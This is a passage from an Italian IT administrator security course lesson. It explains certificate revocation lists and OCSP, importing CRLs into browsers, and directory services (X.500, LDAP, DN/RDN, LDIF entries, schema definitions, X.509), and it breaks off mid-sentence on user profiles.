Lemissione immediata della CRL dopo una revoca non
risolverebbe il problema perch, per ragioni di efficienza, i
software di verifica mantengono una cache delle CRL e non
scaricano le nuove CRL finch quelle correnti non siano
scadute. Daltra parte, le PKI con un numero elevato di
utenti tendono ad avere CRL voluminose, il cui scarica-
mento genera un ingente volume di traffico in rete, spe-
cialmente intorno ai tempi di scadenza. In definitiva, le CRL
costituiscono una lacuna nella sicurezza delle PKI.
OCSP (Online Certificate Status Protocol) un proto-
collo che cerca di risolvere questi problemi attraverso un
sistema aggiuntivo (responder) che mantiene al proprio in-
terno lo stato di tutti gli utenti e che viene interrogato dal-
le applicazioni che devono verificare la validit di un certi-
ficato. La versione 1 di OCSP, documentata nella RFC 2560
(X.509 Internet Public Key Infrastructure Online Certificate
Status Protocol-OCSP) un protocollo relativamente sem-
plice di domanda-risposta, che offre uno strumento per ot-
tenere online informazioni aggiornate sulla revoca dei cer-
tificati, fornite da unentit fidata (il responder OCSP). Una
richiesta OCSP include il numero di versione del protocol-
lo, il tipo di richiesta di servizio e uno o pi identificatori di
certificati. Questi ultimi consistono dellhash del DN (di-
stinguished name, nella terminologia LDAP) dellemittente,
dellhash della chiave pubblica dellemittente e del nume-
ro di serie del certificato. Possono essere presenti esten-
sioni opzionali. Le risposte contengono lidentificatore del
certificato, lo stato del certificato (valido, revocato o sco-
nosciuto) e lintervallo di validit della risposta associata
a ogni certificato specificato nella richiesta. Se un certifi-
cato revocato, viene indicato il momento della revoca; op-
zionalmente, pu essere incluso il motivo della revoca. Le
risposte del responder OCSP devono essere firmate per as-
sicurare lautenticit della loro origine. Come nel caso del-
le CRL, anche OCSP utilizza lestensione Authority Infor-
mation Access dei certificati (come da RFC 3280) per aiu-
tare le parti interessate a trovare il responder appropriato.
OCSP si limita a fornire lo stato di revoca di un certifi-
cato, senza alcuna presunzione sulla sua validit. OCSP non
verifica il periodo di validit e non esegue controlli sui da-
ti del certificato (come Key Usage, Extended Key Usage o
Policy Qualifier) che potrebbero indicare un uso scorretto
del certificato. Tutte le verifiche di validit restano a cari-
co dellapplicazione. Inoltre, il tempo di latenza tra la ri-
chiesta e la risposta (da mantenere al minimo) non ga-
rantito. OCSP solo un protocollo; sebbene possa essere
implementato con risposte in tempo reale, non specifica la
struttura di back-end da cui il responder attinge le infor-
mazioni, che comprende le CRL e altri database da cui pre-
levare le informazioni. OCSP non elimina la necessit delle
CRL e fornisce risposte aggiornate compatibilmente con la
latenza dei meccanismi di accesso alle sue fonti di infor-
mazioni. Sebbene il responder possa essere strettamente
accoppiato alla CA per offrire una latenza pressoch nulla,
questo non pu essere assunto implicitamente, tanto pi
che la firma digitale delle risposte pu determinare un im-
patto significativo sulle prestazioni.
Tra le possibili evoluzioni di OCSP V.1 ci sono SVP (Sim-
ple Validation Protocol), sviluppato dal gruppo di lavoro
PKIX dellIETF con lintento di scaricare su una terza parte
fidata il processo di verifica della validit dei certificati, e la
versione 2 di OCSP, in fase di sviluppo.
Un esempio del funzionamento di OCSP
In questo esempio (fig. 37), lapplicazione desktop (per
es. un browser) si connette a un server web via SSL, utiliz-
zando lautenticazione tramite certificato sia del client sia
del server. Il browser chiede al server una connessione SSL.
Il server risponde inviando il proprio certificato. Il browser
compie una verifica di validit del certificato ed esegue una
PC Open www.pcopen.it 107
36
36
5.6.1.7 Essere in
grado d'accedere
alle liste CRL dal
browser, e sapere
effettuare controlli
sulla validit dei
certificati tramite
OCSP (Online
Certificate Status
Protocol).)
ITAdministrator - Sicurezza informatica Lezione 6
chiamata di sistema per verificare lo stato di revoca del cer-
tificato. Il plugin OCSP client installato nel desktop inter-
cetta la chiamata e invia una richiesta al responder OCSP.
Il responder verifica lo stato del certificato del server (pres-
so la CA emettitrice) e risponde con un messaggio firmato
al client, che in base alla risposta (buono, revocato o sco-
nosciuto) decide se fidarsi del server web. Se si fida, pro-
cede con la connessione SSL. Il server chiede al client il suo
certificato e, dopo averlo ricevuto, esegue la sua valida-
zione tramite lopportuno responder OCSP. Il responder in-
terroga la CA che ha emesso il certificato del client e invia
al server lo stato del certificato, mettendo in grado il server
di decidere se fidarsi del certificato del client.
Per accedere alle CRL, si possono usare i browser di ul-
tima generazione (come Mozilla Firefox), che utilizzano le
indicazioni contenute nellestensione CRL Distribution
Point del certificato. Se sono specificati pi valori, il softwa-
re tenta di accedere alla prima CRL, passando se necessa-
rio a quelle successive finch non trova un formato e una
CRL utilizabili.
Per configurare Mozilla Firefox per lutilizzo di OCSP, ba-
sta aprire Strumenti > Opzioni > Avanzate e, nella sezione
Verifica, attivare una delle opzioni per luso di OCSP (fig.38).
Importare la CRL nel browser
Nel caso in cui la CRL non fosse accessibile automatica-
mente dal browser o i certificati non contenessero une-
stensione CRL Distribution Point, si pu utilizzare il browser
per scaricare la CRL manualmente sulla base del suo URL.
Per esempio, aprendo in Internet Explorer lURL delle
CRL di Thawte (http://crl.thawte.com), vengono elencate le
CRL disponibili (fig. 39).
Selezionandone una, IE risponde offrendo di aprire o sal-
vare in un file la CRL. Scegliendo Apri, compare la finestra
Elenco certificati revocati, sezione generale.
Selezionando la sezione Elenco revoche, vengono elen-
cati i numeri di serie e le date di revoca (fig. 41).
PC Open www.pcopen.it 108
38
5.6.1.8 Essere in
grado d'importare una
lista CRL nel browser,
e sapere effettuare
controlli sulla validit
dei certificati tramite
OCSP (Online
Certificate Status
Protocol)
37
38
40
41
Lezione 6 IT Administrator - Sicurezza informatica
Mozilla Firefox permette di importare le CRL e di ag-
giornare automaticamente le CRL relative ai certificati in-
stallati. Se da Firefox si apre crl.thawte.com e si seleziona
una delle CRL elencate, appare il messaggio di conferma
dellimportazione della CRL e accesso alle opzioni di ag-
giornamento (fig. 42).
Rispondendo S, si apre la seguente finestra (fig. 43).
Nelle preferenze di aggiornamento della CRL si pu im-
postare laggiornamento automatico e altre personalizza-
zioni.
BIBLIOGRAFIA
Per largomento PKI e firme digitali segnaliamo leccellen-
te Understanding PKI, Second Edition, di C. Adams e S.
Lloyd, Addison Wesley, 2003, e Digital Signatures di Atreya,
Hammond, Paine, Starret e Wu, RSA Press - McGraw-Hill, 2002.
Servizi di directory
Negli ambienti connessi in rete, fondamentale che le
informazioni importanti (come quelle legate alla sicurezza)
siano archiviate in modo strutturato e siano reperibili ra-
pidamente. Questa esigenza ha trovato una risposta nei
servizi di directory. che, a somiglianza di un elenco telefo-
nico, contengono le informazioni in forma strutturata e so-
no di facile consultazione. In questo contesto, directory in-
dica un elenco di dati strutturati secondo uno schema ge-
rarchico, senza nessuna relazione con le cartelle di un file
system, anchesse chiamate directory.
Idealmente, possiamo immaginare che un servizio di di-
rectory consista di un server centrale che contiene i dati in
una determinata directory e li distribuisce ai client attra-
verso opportuni protocolli. I dati dovrebbero essere strut-
turati in modo che siano facilmente accessibili da una va-
sta gamma di applicazioni. In questo modo le applicazioni
non hanno bisogno di conservare una propria banca dati
ma possono accedere a un database centrale sicuro e ag-
giornato, con notevole riduzione del carico amministrativo.
Un directory service organizza i contenuti e viene ese-
guito su un server; la directory invece il database conte-
nente le informazioni che sono gestite dal servizio di di-
rectory. Il servizio di directory linterfaccia con la direc-
tory e fornisce accesso ai dati della directory.
Una directory un tipo particolare di database, diverso
dai tradizionali database (per esempio relazionali, ma non
solo) utilizzati dalle applicazioni gestionali. Una directory
oggetto di un gran numero di accessi in lettura contem-
poranei, mentre laccesso in scrittura limitato ai pochi ag-
giornamenti amministrativi. Vista la scarsit di accessi in
scrittura, i dati di una directory sono essenzialmente stati-
ci, come i numeri di telefono dei dipendenti di unazienda
o gli attributi dei certificati di chiave pubblica emessi da
una CA (o da unazienda). Perci, la coerenza degli aggior-
namenti di una directory non pone problemi di criticit,
mentre al contrario un sistema di gestione di database per
applicazioni gestionali, che opera su dati dinamici, deve im-
plementare il concetto di transazione, per cui i dati si un
certo insieme devono essere aggiornati contemporanea-
mente o la transazione deve essere annullata.
Un servizio di directory quindi ottimizzato per le ope-
razioni di lettura. I dati sono memorizzati nella directory se-
condo una struttura definita da uno schema estendibile e
modificabile. I servizi di directory usano un modello di-
stribuito di archiviazione delle informazioni, che solita-
mente prevede delle repliche sincronizzate tra i server di
directory.
Esempi di servizi di directory sono i DNS (Domain Name
System) che associano i nomi di host o i nomi di domini ai
rispettivi indirizzi IP e ad altre informazioni.
X.500
I servizi di directory erano parte delliniziativa Open Sy-
stems Interconnect (OSI) volta a introdurre standard di
networking comuni e a garantire linteroperabilit tra di-
versi produttori. Negli anni 80 del secolo scorso, ITU e ISO
introdussero un insieme di standard - la famiglia ITU X.500
- per i servizi di directory, inizialmente per supportare lo
scambio di messaggi elettronici tra diversi gestori e la ri-
cerca dei nomi dei componenti di rete.
Le norme X.500 hanno definito un modello per la me-
morizzazione delle informazioni chiamato DIT (Directory
Information Tree), che consente di organizzare e raggrup-
pare gli oggetti (persone e risorse) secondo una struttura
gerarchica.
Lesempio di DIT mostra graficamente la struttura ge-
rarchica dei dati. Dalla radice (root), in cima, si diramano
tutti gli altri oggetti.
Il primo livello sotto la radice pu individuare una na-
zione e nella figura vengono mostrati due oggetti di tipo
country (abbreviati con c) e valorizzati con IT, sigla dellI-
talia, e UK per United Kingdom.
Allinterno delle nazioni sono presenti delle organizza-
PC Open www.pcopen.it 109
5.6.2 Servizi di
directory
5.6.2.1 Conoscere i
server LDAP
Esempio di Directory
Information Tree X.500
42
43
44
ITAdministrator - Sicurezza informatica Lezione 6
zioni (oggetto organization, abbreviato con o), indicate con
il loro nome (o=societ X e o=societ Y).
Sotto unorganizzazione si pu avere ununit organiz-
zativa (oggetto organizationalUnit, abbreviato con ou) op-
pure una persona (oggetto commonName, abbreviato con
cn).
Ogni oggetto ha una sua indicazione univoca allinterno
della directory, che viene detta Distinguished Name (ab-
breviata con DN), ottenuta concatenando lidentificativo di
ogni oggetto, che viene chiamato Relative Distinguished
Name. Nella figura, cn=Mario Rosi un RDN, mentre il suo
DN completo cn=Mario Rosi, ou=Acquisti, o=societ X,
c=IT.
Il DIT svincolato dallubicazione effettiva delle infor-
mazioni, infatti possibile collegare tra loro pi server di
directory, ognuno responsabile del contenuto di un sot-
toalbero, che forniscono un servizio di directory che la
somma dei servizi forniti dai singoli server.
Le norme X.500 si basano sui protocolli OSI, ma rimase-
ro largamente inutilizzate perch la famiglia di protocolli
TCP/IP rimase lo standard di fatto per i protocolli di rete.
LDAP
Lo standard X.500 si dimostrato molto pi complesso
di quanto sia realmente necessario alle organizzazioni.
stato quindi introdotto un protocollo leggero chiamato
LDAP (Lightweight Directory Access Protocol, protocollo
leggero daccesso alle directory), basato su TCP/IP, per
semplificare laccesso ai servizi di directory pur mante-
nendolo stesso modello gerarchico introdotto da X.500.
LDAP oggi ampiamente accettato nella comunit Internet
e consente di interrogare, inserire, rimuovere e modificare
gli oggetti contenuti in una directory secondo una modalit
standard. Esistono due versioni di LDAP in uso: LDAP v2
(descritta dalla RFC 1777, X.500 Lightweight Directory Ac-
cess Protocol) e LDAP v3, descritta dalla RFC 2251, Li-
ghtweight Directory Access Protocol (v3).
LDAP una versione ridotta di DAP (Directory Access
Protocol), un protocollo che fornisce accesso ai servizi di
directory X.500 e che richiede lintero stack dei protocolli
OSI unitamente a una quantit di risorse di calcolo poco
compatibili con i desktop computer. LDAP una versione
di DAP ampiamente snellita e adattata allesecuzione su re-
ti TCP/IP.
Un tipico esempio di utilizzo di LDAP attraverso i pro-
grammi di posta elettronica; anzich costruire o distribui-
re una rubrica di contatti su ogni computer, il programma
si collega al server LDAP che ospita la directory contenen-
te gli indirizzi email di tutti gli utenti dellorganizzazione
(azienda, universit, ente pubblico ecc.). Laccesso mol-
to rapido e lamministrazione delle informazioni ha un co-
sto minimo.
Luso di LDAP non si limita alle informazioni relative a
persone o contatti. LDAP utilizzato per cercare i certificati
di chiave pubblica, stampanti e componenti di una rete e
per fornire il single-signon, dove ununica autenticazione d
accesso a un insieme di risorse di rete. LDAP adatto per
accedere a qualunque informazione di tipo elenco (direc-
tory), dove frequenti ricerche veloci (accesso in lettura) e
sporadici aggiornamenti sono la norma.
LDAP non definisce come funzionano i programmi sul la-
to server e sul lato client. Definisce il linguaggio usato dai
client per dialogare con i server (il dialogo pu avvenire an-
che tra server e server). Il client pu essere un browser, un
programma di email o unaltra applicazione. Il server pu
parlare solo LDAP o anche altre lingue (protocolli).
LDAP definisce uno schema, cio il formato e gli attributi
dei dati conservati nel server, e dei permessi, stabiliti da un
amministratore per limitare laccesso al database a chi ne
ha titolo. I server LDAP possono essere classificati a tre li-
velli: i grandi server pubblici, i grandi server di universit
e imprese e server pi piccoli a livello di gruppo di lavoro.
La maggior parte dei server pubblici sparita introno al-
lanno 2000 a causa degli abusi nellutilizzo degli indirizzi
email, mentre restano accessibili i server LDAP delle CA
con le informazioni relative ai certificati X.509.
Esistono numerose implementazioni di server LDAP, tra
cui le seguenti.
Slapd
University of Michigan
Openldap
Netscape Directory Server
Microsoft Active Directory (AD)
Novell Directory Services (NDS)
Sun Directory Services (SDS)
Lucent Internet Directory Server (IDS)
Utilizzo di un browser per interrogare
un server LDAP
I browser moderni sono in grado di collegarsi a un ser-
ver LDAP secondo un metodo definito nella RFC 2255 (The
LDAP URL Format). Si utilizza un particolare formato di
URL e il browser (se supporta laccesso LDAP) esegue
uninterrogazione in lettura sullhost specificato, usando i
parametri definiti e permettendo di aggiungere le voci tro-
vate alla rubrica locale. La notazione dellURL in realt
una comoda interfaccia con il browser, che viene tradotta
in una chiamata standard per interrogare il server LDAP
specificato.
Gli URL di tipo LDAP possono diventare complessi se si
usano i numerosi parametri previsti dalla sintassi. Nel ca-
so pi semplice, gli URL presentano la struttura ldap://ho-
stname[:port]/distinguishedName. Se non si specifica una
porta TCP, viene utilizzata quella di default (la 389). Il di-
stinguished name nella forma vista nella sezione prece-
dente.
Per esempio, il seguente ipotetico URL
ldap://ldap.infocamere.it/cn=CACCIA%2FANDREA%2F2003
111435A3009,ou=Ente%20Certificatore%20del%20
Sistema%20Camerale,o=InfoCamere%20SCpa,c=IT
permetterebbe al browser di accedere al server LDAP di
InfoCamere (che d accesso tra laltro ai dati dei certifica-
ti emessi da questa CA) e di aggiungere lutente Andrea
Caccia alla rubrica locale dellutente.
Le informazioni del server di InfoCamere sono suddivi-
se in diverse ou (unit organizzative). La ou Certificati di
Firma elenca i cn (nomi comuni) dei titolari dei certificati
e le relative informazioni. Se si vuole accedere alle infor-
mazioni di una voce di un server LDAP e non si conosce il
DN corrispondente, si pu utilizzare unapplicazione spe-
cifica fornita dalla CA o uno dei browser LDAP (ne esisto-
no sia gratuiti sia a pagamento) per esplorare i contenuti di
un server LDAP e procurarsi il DN dei titolari di certificato.
Con il DN inserito nellURL LDAP vista sopra, si pu usare
un web browser per visualizzare i dati del certificato.
Vediamo un esempio. Supponiamo di voler verificare il
certificato di XY, rilasciato da InfoCamere. Usiamo il brow-
PC Open www.pcopen.it 110
5.6.2.2 Utilizzo di un
browser per
interrogare un server
LDAP
45
Lezione 6 IT Administrator - Sicurezza informatica
ser LDAP Administrator (www.ldapadministrator.com) per
accedere in lettura, in modo anonimo (senza credenziali),
al server di Infocamere (fig 45).
Aprendo la ou Certificati Di Firma e ordinando i cn in sen-
so crescente facile trovare il nominativo che ci interessa
(qui il nome del titolare oscurato per privacy) (fig 46).
In uno dei modi consentiti da LDAP Administrator (co-
me visualizzazione ed esportazione), si copia il DN del ti-
tolare del certificato e lo si incolla nel browser (in coda a
ldap://ldap.infocamere.it). Sia in IE sia in Firefox, si apre la
seguente finestra, che permette di aggiungere il nominati-
vo alla rubrica (fig 47).
Aprendo la sezione ID digitali, si seleziona il certificato
(fig 48).
Cliccando su Propriet, viene visualizzato il contenuto
del certificato (fig 49).
Conoscere il significato di Common Name,
Distinguished Name e Attributo
Riprendiamo ed estendiamo alcuni concetti introdotti
nella sezione 5.6.2.1. Il protocollo LDAP presuppone che
uno o pi server forniscano laccesso a un Directory Infor-
mation Tree. Il DIT non necessariamente memorizzato in
unico server, ma ogni server proprietario delle informa-
zioni contenute in uno o pi rami del DIT complessivo (ser-
ver master). Ogni server pu anche fornire servizi di repli-
ca rispetto a rami del DIT di cui non proprietario (server
slave); in questo caso i server possono essere configurati
in modo che le informazioni in essi contenute siano sin-
cronizzate a intervalli determinati o in tempo reale a se-
guito di una modifica dei dati.
Il DIT composto da oggetti che vengono chiamati en-
try. Ogni entry composto da un insieme di attributi, che
sono costituiti da un nome e da uno o pi valori. Uno o pi
attributi, detti naming attributes, costituiscono il nome del-
lentry, detto Relative Distinguished Name (RDN). Tutti gli
entry che condividono lo stesso padre devono avere RDN
distinti.
La concatenazione di tutti gli RDN, partendo da un de-
terminato entry fino alla root (esclusa), forma il Distingui-
shed Name (DN) di quellentry. Ogni entry ha quindi un pro-
prio DN distinto e unico.
Ogni attributo un tipo di dato che ha associati uno o
pi valori. Il tipo di dato identificato da un nome descrit-
tivo e da un Object Identifier (OID) che un identificatore
univoco assegnato da un ente di standardizzazione. Il tipo
di dato dellattributo ha associata una serie di propriet
che definiscono se il valore associato unico o pu essere
multiplo, la sintassi a cui il valore si deve conformare e le
regole con cui effettuare le ricerche (per esempio nel caso
di un nome di persona non si fa distinzione tra caratteri
maiuscoli e minuscoli). Lattributo mail, per esempio, pu
avere uno o pi valori di tipo IA5 String (ASCII) e non fa dif-
ferenza tra caratteri minuscoli e maiuscoli.
Lo schema la collezione delle definizioni dei tipi di at-
tributo, delle definizioni delle classi di oggetti e delle altre
informazioni utilizzate dal server nelle operazioni di ricer-
ca, aggiunta e modifica di entry.
Ogni entry deve avere un attributo objectClass. Questo
attributo indica quali sono le classi di oggetti associate agli
entry che determinano, insieme allo schema, quali attri-
buti sono consentiti e quali sono obbligatori allinterno
PC Open www.pcopen.it 111
5.6.2.3 Conoscere il
significato di
Common Name,
Distinguished Name e
Attributo
46
47
48
49
ITAdministrator - Sicurezza informatica Lezione 6
dellentry.
Le objectClass costituiscono una gerarchia e ognuna di
esse ha sempre una superclasse, da cui eredita tutti gli at-
tributi, ad eccezione della superclasse top che la radi-
ce di tutte le definizioni di objectClass.
Quando viene aggiunta una classe di oggetti, anche tut-
te le relative superclassi vengono aggiunte (la superclasse
la classe da cui una classe di oggetti eredita tutti gli attri-
buti obbligatori e opzionali).
Vi sono tre tipi di objectClass:
- Astratte (abstract), definite solo a scopo logico. Non po-
sono essere usate direttamente per definire un entry ma
possono essere superclassi di altre objectClass (ad esem-
pio la superclasse top).
- Strutturali (structural), possono essere usate per definire
un entry e ne definiscono gli attributi base. Ad esempio, la
classe di tipo Organization prevede degli attributi tipi-
camente associati a unorganizzazione, come il nome
(organizationName).
- Ausiliarie (auxiliary), possono essere usate per estendere
il numero di attributi associabili a un entry. Ad esempio,
la classe di tipo certificationAuthority prevede gli attri-
buti caCertificate dove viene memorizzato il certificato
di CA e certificateRevocationList dove viene memoriz-
zata la CRL. Questa objectClass pu essere per esempio
associata a entry di tipo Organization.
Esempi di classi di oggetti sono country (c), locality (l),
organization (o), ornanizationalUnit (ou) e person (cn). Ad
esempio, un entry cn contiene lidentificatore della perso-
na e pu includere attributi come indirizzo, telefono, privi-
legi e cos via.
La RFC 2256 (A Summary of the X.500(96) User Schema
for use with LDAPv3) fornisce una panoramica dei tipi di at-
tributo e delle classi di oggetti definiti dai comitati ISO e
ITU-T nei documenti X.500.
DN e RDN
La cima dellalbero di una directory LDAP la base, chia-
mata in inglese Base DN (paragonabile alla root di un file
system Unix). Il base DN pu essere espresso con varie no-
tazioni:
- o=FooBar, Inc., c=US
- o=foobar.com
- dc=foobar, dc=com.
Il DN composto di due parti: il base DN (lubicazione al-
linterno della directory LDAP dove si trova lentry) e lRDN
(Relative Distinguished Name).
Considerando lalbero di directory seguente (i singoli
entry sono omessi):
dc=foobar, dc=com
ou=customers
ou=asia
ou=europe
ou=usa
ou=employees
ou=rooms
ou=groups
ou=assets-mgmt
ou=nisgroups
ou=recipes
il base DN dc=foobar, dc=com e lRDN di un entry memo-
rizzato in ou=recipes cn=Oatmeal Deluxe. Il DN completo
di questo entry (costruito partendo dalla fine) quindi:
cn=Oatmeal Deluxe,ou=recipes,dc=foobar,dc=com.
Un esempio di entry LDAP
Quello che segue il record di Fran Smith, impiegato del-
la societ Foobar, Inc. Il formato di questo entry LDIF
(LDAP Data Interchange Format), usato per esportare e im-
portare gli entry dalle e nelle directory LDAP.
dn: uid=fsmith, ou=employees, dc=foobar, dc=com
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
objectclass: foobarPerson
uid: fsmith
givenname: Fran
sn: Smith
cn: Fran Smith
cn: Frances Smith
telephonenumber: 510-555-1234
roomnumber: 122G
o: Foobar, Inc.
mailRoutingAddress: fsmith@foobar.com
mailhost: mail.foobar.com
userpassword: {crypt}3x1231v76T89N
uidnumber: 1234
gidnumber: 1200
homedirectory: /home/fsmith
loginshell: /usr/local/bin/bash
Il DN di questo entry uid=fsmith, ou=employees,
dc=foobar, dc=com
In sintesi:
- Un entry composto di attributi
- Gli attributi consistono
di tipi di dati a uno o pi
valori e sono definiti se-
condo una specifica sin-
tassi
- Il tipo descrive qual
linformazione
- Il valore leffettiva infor-
mazione
Esempi di nomi di attri-
buti e abbreviazioni (ve-
di RFC 2256) (fig. 50):
Un esempio di definizione di attributo in uno schema LDAP:
attributetype ( 1.3.6.1.4.1.15490.1.11 NAME
'studentName'
DESC 'description'
EQUALITY caseIgnoreMatch
SUBSTR caseIgnoreSubstringsMatch
SYNTAX 1.3.6.1.4.1.1466.115.121.1.15
SINGLE-VALUE )
Un esempio di definizione di objectclass in uno schema
LDAP:
objectclass ( 1.3.6.1.4.1.15490.2.4 NAME 'objStudent'
DESC 'object class'
SUP top STRUCTURAL
MUST ( studentName $ studentNumber $
studentAddress $ studentAcademicYear $ studentCourse $
studentStatus $ studentYear ) )
Conoscere il significato di X.509
Tra le norme X.500, ha particolare rilevanza, ai fini della
sicurezza, la norma X.509, Directory: Authentication Fra-
mework. Si tratta di una norma fondamentale, dato che af-
fronta le problematiche pi sostanziali relative allimple-
mentazione di infrastrutture a chiave pubblica. Quello che
segue un breve sommario dei contenuti.
- Definizione del concetto di CA (Certification Authority)
come Terza Parte Fidata che si occupa della gestione del-
le chiavi pubbliche di tutte le entit che fanno parte di una
PKI.
- Definizione del formato dei certificati digitali, che asso-
ciano le entit con le loro chiavi pubbliche e che vengono
emessi dalla CA.
- Definizione delle liste di revoca dei certificati (CRL),
PC Open www.pcopen.it 112
5.6.2.4 Conoscere il
significato di X.509
50
Lezione 6 IT Administrator - Sicurezza informatica
che elencano i certificati che sono stati revocati (resi non
validi) prima della data di scadenza. Le CRL sono firmate e
pubblicate dalla CA.
- Definizione del concetto di mutua certificazione tra CA
diverse. Si tratta di un accordo che consente a due CA di
unire i propri domini: gli utenti di una CA sono in grado di
accettare e validare i certificati emessi dallaltra CA e vice-
versa. Perch ci accada, ogni CA emette un certificato per
la chiave pubblica dellaltra CA e questi certificati vengono
uniti in un unico oggetto detto crossCertificatePair.
- Utilizzo della directory quale deposito di tutte le infor-
mazioni di sicurezza necessarie alla PKI per il suo funzio-
namento. A questo scopo vengono descritte apposite clas-
si di oggetti che possono contenere certificati e CRL.
Le classi di oggetti che vengono definite sono le se-
guenti.
- certificationAuthority: un entry con questa objectClass
pu contenere gli attributi CACertificate, dove vengono
memorizzati i certificati della CA; certificateRevocation-
List e authorityRevocationList, dove vengono memoriz-
zate le liste di revoca per i certificati degli utenti e per i
certificati di CA; crossReferencePair, dove vengono me-
morizzati eventuali certificati di mutua autenticazione.
- strongAuthenticationUser, che consente la memorizza-
zione dei certificati utente nellattributo userCertificate.
Il formato dei certificati e delle liste di revoca stato de-
scritto nella sezione PKI.
La norma X.509, pur definendo il formato standard di
certificati e CRL, non d garanzia che due implementazio-
ni conformi allo standard possano interoperare. La gi ci-
tata RFC 3280, Internet Public Key Infrastructure Certifica-
te and Revocation List (CRL) Profile, definisce un profilo,
ovvero una serie di limitazioni ai gradi di libert concessi
dallo standard, che consente di avere applicazioni intero-
perabili.
Utilizzo dei server LDAP per la gestione dei profili
utente e lautenticazione
Come si visto, un server LDAP fornisce un servizio di
directory basato su un database con struttura gerarchica,
interrogabile da client disponibili sui vari sistemi operati-
vi, sia come software libero sia come software proprietario,
con interoperabilit assicurata dagli standard che defini-
scono il protocollo LDAP.
Esempi di server LDAP sono Active Directory, introdot-
to da Microsoft a partire da Windows 2000 server, e OpenL-
DAP, una versione Open Source ampiamente diffusa nel
mondo Linux.
Un servizio di directory fornisce un deposito centraliz-
zato e facilmente accessibile di informazioni relative a or-
ganizzazioni, unit organizzative, persone e altri elementi
appartenenti a un certo dominio, contenendo informazio-
ni come nomi, numeri di telefono e indirizzi di posta elet-
tronica. Un servizio di directory si presta altrettanto bene
a memorizzare tutte le risorse logiche e fisiche, tutti i di-
spositivi e gli elaboratori appartenenti a una rete di com-
puter appartenente a un dominio (un gruppo di computer
gestiti in modo centralizzato e caratterizzato da un peri-
metro di sicurezza). La directory pu contenere informa-
zioni dettagliate su file system (file e cartelle), stampanti,
indirizzi, credenziali di accesso, utenti e gruppi di utenti.
Per esempio, lActive Directory di Windows Server 2003
server gestisce informazioni sui computer, i domain con-
troller, la configurazione del sistema, utenti e gruppi du-
tenti e altro ancora (fig. 51).
Un profilo utente costituito da tutte le informazioni as-
sociate allutente, incluse le informazioni di autenticazione
e le autorizzazioni di accesso alle risorse di rete. Per esem-
pio, in Windows Server 2003, le propriet di un utente pos-
sono includer numerose categorie di informazioni, come si
vede nella figura. (fig. 52).
Per descrivere ogni utente e gruppo di utenti si deve po-
ter specificare quali sono le risorse a cui hanno diritto di
accedere e per quali tipi di operazioni. Ad esempio, un
utent